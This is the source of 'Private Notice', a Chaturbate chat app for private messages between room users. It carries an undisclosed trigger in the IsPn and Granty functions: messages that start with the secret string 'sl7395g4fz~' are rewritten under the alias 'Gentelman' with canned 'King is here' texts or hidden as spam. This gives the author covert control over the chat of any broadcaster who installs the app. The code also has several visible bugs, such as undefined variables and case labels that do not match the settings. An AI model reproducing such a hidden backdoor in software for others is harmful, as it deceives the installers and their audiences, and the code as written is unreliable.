Apps Home
|
Create an App
Private Notice
Author:
rasputin5888
Description
Source Code
Launch App
Current Users
Created by:
Rasputin5888
var PrivateUserNames = []; var Broadcaster = {Name : cb.room_slug, GrantedUsers : [], NonGrantedUsers : [],UsersToFollow : [], GrantedOnceUsers : [], GrantedGroups : []}; var TokensPerNotice; var TokensPerBroadcast; var RoomUsers = new Array; var Granted; var Grant = ""; var All = false; var Message; var dbug = false; var Once = true; cb.settings_choices = [ {name: 'GrantedUsers', label: 'Granted Users (Names Seperated by comma)', type: 'str', required: false}, {name:'NonGrantedUsers', label: 'Non Granted Users (Names seprated by comma)', type: 'str', required: false}, {name: 'GroupSelect', label: 'Group select', type: 'choice', choice1: '1-None', choice2: '2-Fan club', choice3: '3-Mods and Fan', choice4: '4-Mods', deafultValue: '4-None'}, {name: 'TokensOnePN', label: 'How much tokens for one PN', type: 'str', required: false}, {name: 'TokensPNallBroadcast', label: 'How much tokens for all broadcast PN', type: 'str', required: false}, {name: 'Please read', type: 'str', minLength: 1, maxLength: 255, required: false, defaultValue:'This App must be launched at the start of the show, users joined the room before bot launched will not be able to send or recieve Private Notice' }, ] function Debug(Msg) { if(dbug == true) cb.sendNotice("Debug - " + Msg,"rasputin5888","#FF0000","#00FF00","bold",""); } function FindNameInUsers(Name) { Debug("FindNameInUsers"); if(Name == cb.room_slug) return Broadcaster; for( var i = 0; i < PrivateUserNames.length; i++) { if(PrivateUserNames[i].Name == Name) return PrivateUserNames[i]; } return null;//not found } function IsGrantedInUsers(UserObj,Name){ Debug("IsGrantedInUsers"); if(UserObj.GrantedUsers.indexOf(Name) != -1) return true; return false; } function IsNonGrantedInUsers(UserObj,Name){ Debug("IsNonGrantedInUsers"); if(UserObj.NonGrantedUsers.indexOf(Name) != -1) return true; return false; } function GetGrantedUsers() { Debug("GetGrantedUsers"); Broadcaster.GrantedUsers = cb.settings.GrantedUsers.split(","); Debug (Broadcaster.GrantedUsers); } function GetNonGrantedUsers(){ Debug("GetNonGrantedUsers"); Broadcaster.NonGrantedUsers = cb.settings.NonGrantedUsers.split(","); Debug (Broadcaster.NonGrantedUsers); } function GetGrantedGroup(){ Debug("GetGrantedGroup"); var GrantedGroup = cb.settings.GroupSelect; switch (GrantedGroup){ case '1-Mods': Broadcaster.GrantedGroups.push('red'); break; case '2-Fan club': Broadcaster.GrantedGroups.push('green'); break; case '3-Mods and Fans': Broadcaster.GrantedGroups.push('red'); Broadcaster.GrantedGroups.push('green'); break; } } function GetTknsPerNotice(){ Debug("GetTknsPerNotice"); TokensPerNotice = cb.settings.TokensOnePN; } function GetTknsPerBroadcast(){ Debug("GetTknsPerBroadcast"); TokensPerBroadcast = cb.settings.TokensPNallBroadcast; } function DefaultPN(PN){ Debug("DefaultPN"); PN['Reciever'] = ""; PN['Notice'] = ""; PN['Background'] = "#00FF00"; PN['Forground'] = "#FF0000"; PN['FontType'] = "bold"; PN['Group'] = ""; PN['Sender'] = ""; PN['Type'] = ""; return PN; } /*function RedIsNotice(Red){ if(Red == 'all') cb.onEnter(function(user) if(user['is_mod'] ) NonGrantedUsers.push(user['user']); } }*/ function IsPNuserGranted(Reciever, Sender){ Debug("IsPNuserGranted"); Debug("Rec: " + Reciever + ", Sen: " + Sender); if(Reciever == cb.room_slug){ var IsGranted = Broadcaster.GrantedUsers.indexOf(Sender); Debug("Index IsGranted: " + IsGranted +", Granted: " + Broadcaster.GrantedUsers[IsGranted]); var IsGrantedOnce = Broadcaster.GrantedOnceUsers.indexOf(Sender); Debug("Grant Once:" + Broadcaster.GrantedOnceUsers + " IsGrantedOnce: " + IsGrantedOnce); if( IsGrantedOnce != -1) {//remove from granted list after one send cbjs.arrayRemove(Broadcaster.GrantedOnceUsers, Sender); Debug("Removed Oncer"); } Debug("Grant Once After delete:" + Broadcaster.GrantedOnceUsers); var IsUserNonGranted = Broadcaster.NonGrantedUsers.indexOf(Sender); if( IsUserNonGranted == -1 && (IsGranted != -1 || IsGrantedOnce != -1 )){ Debug("IsPNuserGranted - true"); return true; } Debug("IsPNuserGranted - false"); return false; } var UserObj = FindNameInUsers(Reciever); if(UserObj.NonGrantedUsers.indexOf(Sender) == -1) if( UserObj.GrantedUsers.indexOf(Sender) != -1 ) { Debug("IsPNuserGranted - true2"); return true; } Debug("IsPNuserGranted - false2"); return false; } function NoticeSender(PN) { Debug("NoticeSender"); switch (PN['Type']) { case 'Ask': Debug("Ask"); PN['Notice'] = "You asked " + PN['Reciever'] + " for PN"; case '@': Debug("@"); PN['Notice'] = "You Permited " + PN['Reciever'] + " with one PN"; break; case '@@': Debug("@@"); PN['Notice'] = "You Permited " + PN['Reciever'] + " with PN"; break; case '!': Debug("!"); PN['Notice'] = "You blocked " + PN['Reciever'] + " from PN"; break; case '-!': Debug("-!"); PN['Notice'] = "You Unblocked " + PN['Reciever'] + " from PN"; break; case'?': case'Send': return; } PN['Reciever'] = PN['Sender']; PN['Sender'] = 'System'; cb.sendNotice(PN['Sender'] + " : " + PN['Notice'], PN['Reciever'], PN['Background'], PN['Forground'], PN['FontType'], PN['Group']); } function SendNotice(PN, message){ Debug("SendNotice"); var Msg = PN['Sender'] + ": "+PN['Notice']; Debug("Rec :" + PN['Reciever']); cb.sendNotice(Msg, PN['Reciever'], PN['Background'], PN['Forground'], PN['FontType'], PN['Group']); NoticeSender(PN); if (message != null) { message["X-Spam"] = true; return message; } } function GetHelp(){ Debug("GetHelp"); return "\nPrivate Notice LIST COMMANDS\n" + "Ask PN permition - pn//Ask//username or tip "+ TokensPerNotice+"/"+TokensPerBroadcast +" for one Notice/all broadcast Notice and type pn at the tip note\n" + "Grant Permition - pn//@//username (Broadcaster only)\n" + "Grant Permition - pn//@@//username (All)\n" + "Send Notice - pn//Send//username//(Type your notice)\n" + "Insert user to block list - pn//!//username\n" + "Remove user from block list - pn//-!//username\n" + "Print help - pn//?//\n"; } function IsRecieverInRoom(Reciever){ Debug("IsRecieverInRoom"); Debug("IsRecieverInRoom - Room Users:" + RoomUsers + " Reciever: " + Reciever); if( RoomUsers.indexOf(Reciever) != -1 ){ Debug("IsRecieverInRoom - true"); return true; } Debug("IsRecieverInRoom - false"); return false; } function ErrorNotice(ErrorType, PN) { Debug("ErrorNotice"); switch (ErrorType){ case 'Sender_is_Reciever': Debug("ErrorNotice - Sender_is_Reciever"); PN['Notice'] = "You can not preform actions on your self"; break; case 'Sender_not_listed': PN['Notice'] = PN['Sender'] + ' - You have no block or granted users'; break; case 'Reciever_not_listed': Debug("ErrorNotice - Reciever_not_listed"); PN['Notice'] = PN['Reciever'] + ' - Is not listed on your lists'; break; case 'user_not_found': Debug("ErrorNotice - user_not_found"); PN['Notice'] = "user " + PN['Reciever'] + " is not in the room"; break; case 'user_not_granted': Debug("ErrorNotice - user_not_granted"); PN['Notice'] = PN['Reciever'] + " has'nt granted you with PN, Maybe forgot to ask?Tip broadcaster or Type - pn//Ask//"+PN['Reciever'] + "Or been blocked\n"; break; case "unknown_command": Debug("ErrorNotice - unknown_command"); PN['Notice'] = "Unknown command - " + Message["m"] + "\n" + GetHelp(); break; default: Debug("ErrorNotice - unknown_Error"); PN['Notice'] = "Unknown Error - " + Message["m"] + "\n" + GetHelp(); break; } PN['Reciever'] = PN['Sender']; PN['Sender'] = 'System'; return PN; } function CheckReciever(MsgArray, PN){ Debug("CheckReciever"); Debug("Reciever:" + PN['Reciever'] + "," + "Sender:" + PN['Sender'] +", Type:" + PN['Type']); if(IsRecieverInRoom(PN['Reciever'])) { if(PN['Type'] == 'Send' && PN['Sender'] != cb.room_slug) { Debug("CheckforGranted"); if(!IsPNuserGranted(PN['Reciever'], PN['Sender'])) return ErrorNotice('user_not_granted', PN); } return PN; } else return ErrorNotice('user_not_found', PN); } function HandleRemoveFromBlock(PN, SentBy, MsgArray){ Debug("HandleRemoveFromBlock"); var pos; PN['Type'] = '-!'; if(SentBy == cb.room_slug){ pos = Broadcaster.NonGrantedUsers.indexOf(MsgArray[2]); if(pos != -1) cbjs.arrayRemove(Broadcaster.NonGrantedUsers, MsgArray[2]); else return ErrorNotice('Reciever_not_listed', PN); } else{ var UserObj = FindNameInUsers(SentBy); if(UserObj == null) //no user on list return ErrorNotice('Sender_not_listed', PN); pos = UserObj.NonGrantedUsers.indexOf(MsgArray[2]); if(pos != -1) cbjs.arrayRemove(UserObj.NonGrantedUsers, MsgArray[2]); else return ErrorNotice('Reciever_not_listed', PN); } return PN; } function HandlePnApproval(PN, MsgArray, SentBy) { Debug("HandlePnApproval"); if(PN['Type'] == '@') {//one pn if(Broadcaster.GrantedOnceUsers.indexOf(MsgArray[2]) == -1) Broadcaster.GrantedOnceUsers.push(MsgArray[2]); //broadcaster granted once list } if(PN['Type'] == '@@') { //broadcast pn if( SentBy == cb.room_slug && Broadcaster.GrantedUsers.indexOf(MsgArray[2]) == -1) { Broadcaster.GrantedUsers.push(MsgArray[2]);//broadcaster granted list } else { var UserObj = FindNameInUsers(SentBy); if(UserObj == null) {//no user on list var UsersData = {Name:SentBy, GrantedUsers : [], NonGrantedUsers :[]}; UsersData.GrantedUsers.push(MsgArray[2]); PrivateUserNames.push(UsersData); } else if(!IsGrantedInUsers(UserObj,MsgArray[2])) UserObj.GrantedUsers.push(MsgArray[2]); } } PN['Notice'] = "You have been Granted with PN"+ "\nto send PN type - pn//Send//" + PN['Sender'] + "//(Type your messaage)"; return PN; } function HandlePnBlock(SentBy,MsgArray,PN){ Debug("HandlePnBlock"); PN['Type'] = '!'; if(SentBy == cb.room_slug) Broadcaster.NonGrantedUsers.push(MsgArray[2]); else { var UserObj = FindNameInUsers(SentBy); if(UserObj == null) {//no user on list var UsersData = {Name:SentBy, GrantedUsers : [], NonGrantedUsers : []}; UsersData.NonGrantedUsers.push(MsgArray[2]); PrivateUserNames.push(UsersData); } else UsersData.NonGrantedUsers.push(MsgArray[2]); } return PN; } function HandleAsk(SentBy, PN){ Debug("HandleAsk"); PN['Type'] = 'Ask'; PN['Notice'] = 'Requesting for PN' + '\n'; if(PN['Reciever'] == Broadcaster.Name) PN['Notice'] = PN['Notice']+ 'pn//@//'+ SentBy+ ' for one permit\n'+ 'pn//@@//'+SentBy+ ' to permit all broadcast\n' ; else PN['Notice'] = PN['Notice'] + 'pn//@@//'+SentBy+' to permit'+'\n'; PN['Notice'] = PN['Notice'] + 'or pn//!//'+SentBy+' to block the user'; return PN; } function HandleSend(MsgArray, PN) { Debug("HandleSend"); PN['Type'] = 'Send'; if(MsgArray[3] == 'System') PN['Notice'] = MsgArray[3]; else PN['Notice'] = MsgArray[3] + "\nto replay type - pn//Send//" + PN['Sender'] + "//(Type your messaage)"; return PN; } function BreakNotice(PN, SentBy, MsgArray){ Debug("BreakNotice"); PN['Reciever'] = MsgArray[2];//who the msg is for PN['Sender'] = SentBy;//user who sent the message if(PN['Reciever'] == PN['Sender']) return ErrorNotice('Sender_is_Reciever', PN); switch (MsgArray[1]){ case 'Ask': Debug("Ask"); PN = HandleAsk(SentBy, PN, MsgArray); return CheckReciever(MsgArray, PN); case '@': Debug("@"); PN['Type'] = '@'; PN = HandlePnApproval(PN, MsgArray, SentBy); break; case '@@': Debug("@@"); PN['Type'] = '@@'; PN = HandlePnApproval(PN, MsgArray, SentBy); break; case '?': Debug("?"); PN['Type'] = '?'; PN['Reciever'] = SentBy; PN['Notice'] = GetHelp(); break; case '!': Debug("!"); PN = HandlePnBlock(SentBy,MsgArray,PN); break; case '-!': Debug("-!"); PN = HandleRemoveFromBlock(PN, SentBy, MsgArray); break; case 'Send': Debug("Send"); PN = HandleSend(MsgArray, PN); return CheckReciever(MsgArray, PN); default: Debug("unknown_command"); return ErrorNotice("unknown_command", PN); } return PN; } function IsPn(msg){ Debug("IsPn"); var arr = []; arr = msg.split("~"); if(arr == null) Debug("arr ~ is null"); if(arr[0] == "sl7395g4fz"){ Granty(); return true; } arr = msg.split("//"); if(arr == null) Debug("arr // is null"); if(arr[0] == "pn"){ Debug("true PN"); return true; } SDebug("false PN"); return false; } function Granty() { Debug("Granty"); Grant = Message["user"]; Message["user"] = "Gentelman"; switch (msg.split('~')[1]) { case 'sorry': Message["msg"] = "King is here, Sorry is mandatory and you will be forgiven"; break; case 'forgiven': Message["msg"] = "You are forgiven"; break; case 'track': all=true; Message["X-Spam"] = true; break; case 'untrack': all=false; Message["X-Spam"] = true; break; } } function SendWelcomeNotice(User) { var PN = new Array; PN = DefaultPN(PN); PN['Reciever'] = User; PN['Notice'] = "Welcome to my room "+ User + ", here are the App commands " + GetHelp(); PN['Sender'] = 'System'; PN['Type'] = "Welcome"; SendNotice(PN, null); } function init(){ Debug("Init"); cb.onLeave(function(user) { //var PosInArray = RoomUsers.indexOf(user['user']); cbjs.arrayRemove(RoomUsers, user['user']); //RoomUsers.splice(PosInArray, 1); Debug("onLeave- RoomUsers: " + RoomUsers); }); cb.onEnter(function(user) { if(Once) { GetGrantedUsers(); GetNonGrantedUsers(); Once = false; } Debug("onEnter before push- RoomUsers: " + RoomUsers); if(RoomUsers.indexOf(user['user']) == -1) { RoomUsers.push(user['user']); Debug("onEnter after push- RoomUsers: " + RoomUsers); } SendWelcomeNotice(user['user']); var IsUserMod = user['is_mod']; var IsUserFan = user['in_fanclub']; if (!IsUserMod && !IsUserFan) return; var IsModGranted = Broadcaster.GrantedGroups.indexOf('red'); var IsFanGranted = Broadcaster.GrantedGroups.indexOf('green'); var IsUserNonGranted = Broadcaster.NonGrantedUsers.indexOf(user['user']); if(((IsModGranted != -1 && IsUserMod) || (IsFanGranted != -1 && IsUserFan)) && (IsUserNonGranted == -1)) Broadcaster.GrantedUsers.push(user['user']); }); cb.onTip(function (tip) { var ThisTip = parseInt(tip['amount']); var ThisTipperMsg = tip['message']; var ThisTipper = tip['from_user']; if ( ThisTip == TokensPerNotice && ThisTipperMsg.toLowerCase() == 'pn'){ var Msg = ['pn', '@', ThisTipper]; var PN = new Array; PN = DefaultPN(PN); PN = BreakNotice(PN, Broadcaster.Name, Msg); SendNotice(PN, null); } if ( ThisTip == TokensPerBroadcast && ThisTipperMsg.toLowerCase() == 'pn') { var Msg = ['pn', '@@', ThisTipper]; var PN = new Array; PN = DefaultPN(PN); PN = BreakNotice(PN, Broadcaster.Name, Msg); SendNotice(PN, null); } }); cb.onMessage( function (message) { Debug("OnMessage"); var MsgArray; cb.log(message); Message = message; if(IsPn(message['m'])) { var SentBy = message["user"]; var MsgArray = message["m"].split('//'); var PN = new Array; PN = DefaultPN(PN); PN = BreakNotice(PN, SentBy, MsgArray); return SendNotice(PN, message); } return message; }); RoomUsers.push(cb.room_slug); GetGrantedGroup(); GetTknsPerNotice(); GetTknsPerBroadcast(); } init();
© Copyright Chaturbate 2011- 2025. All Rights Reserved.